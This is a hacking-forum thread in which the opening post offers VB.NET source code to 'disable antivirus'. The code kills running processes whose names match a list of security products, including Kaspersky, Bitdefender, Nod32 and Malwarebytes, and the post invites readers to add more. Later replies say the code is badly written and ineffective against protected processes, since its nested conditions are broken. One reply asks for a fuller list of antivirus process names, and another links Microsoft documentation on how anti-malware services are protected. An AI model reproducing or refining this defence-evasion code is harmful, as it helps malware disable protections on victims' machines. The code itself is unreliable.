+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Disable antivirus! (vb.net) (/showthread.php?tid=6108755)
Disable antivirus! (vb.net) - Astate - Sep 11, 2020
This evening we will see a source code (vb.net) which allows to (kill) Disable antivirus!
Code
Dim local As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To local.Length - 1
Debug.WriteLine(local(i).ProcessName)
If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then 'Anubis
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then 'Outpost
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then 'Norman
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then 'Bitdefender
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then 'Kaspersky
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then 'Nod32
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then 'Zonealarm
local(i).Kill()
If Strings.UCase(local(i).ProcessName) = Strings.UCase("mbam") Then 'malwareBytes
local(i).Kill()
End If
End If
End If
End If
End If
End If
End If
End IfTo add antivirus just change the XXXX by the name of the antivirus process:
If Strings.UCase (local (i) .ProcessName) = Strings.UCase ("XXXX") Then
local (i) .Kill ()ðŸ˜
RE: Disable antivirus! (vb.net) - Obistone - Sep 12, 2020
Not only is this terrible code, but it will never work. AVs are protected processes and can't be killed like that.
RE: Disable antivirus! (vb.net) - Astate - Sep 12, 2020
(Sep 12, 2020 04:43 PM)Obistone Wrote: Not only is this terrible code, but it will never work. AVs are protected processes and can't be killed like that.
😕Sorry for this bad post !... But,
I did not want to harm the good being of the Forums...
I just wanted to present a new way of doing things, for those new or the Nob to the Forums who
don't really know the development
I didn't think I would revolutionize the Shit!... ðŸ˜
Also I don't believe I saw the same Post on the Forum, So I didn't think I was harmful ?
So I didn't think I was helpful, but informative...
RE: Disable antivirus! (vb.net) - sh@rp - Sep 13, 2020
@Astate :
informative for those want to know how to kill processes which are not protected ......
RE: Disable antivirus! (vb.net) - StiefelStevensStievbruder - Jun 24, 2021
Hi,
Me helps the post :)
thank you :)
I have a tehory tipp for how man can kill antivirus with this code.
example: If you will kill the antivirusprogramm "Avast" than you must kill ALL processes,
REALLY ALL PROCESSES that runing for Avast. ALL.
This is only a theory and i have tested it not.
but by many antivirus programms must it be funktionally.
however....
....many fun by install many antiviruses programs and find all procecces for the antiviruses for code it.
give it not a list with this processes names?
what must i search on google to find it out?
i search a list with many many many antivirus names and processes for it....
mhhhh.
please help :)
best regards,
RE: Disable antivirus! (vb.net) - GruntStyl - Jun 26, 2021
There is much more to it than attempting to kill a process. You need elevated privileges as well as the ability to manage services not processes.
RE: Disable antivirus! (vb.net) - SIM-5033784 - Aug 10, 2021
For anyone who is legitimately interested in learning how Windows protects anti-virus services you can read the docs on it at https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#introduction which explains how Microsoft Windows Kernel protects these processes from tampering.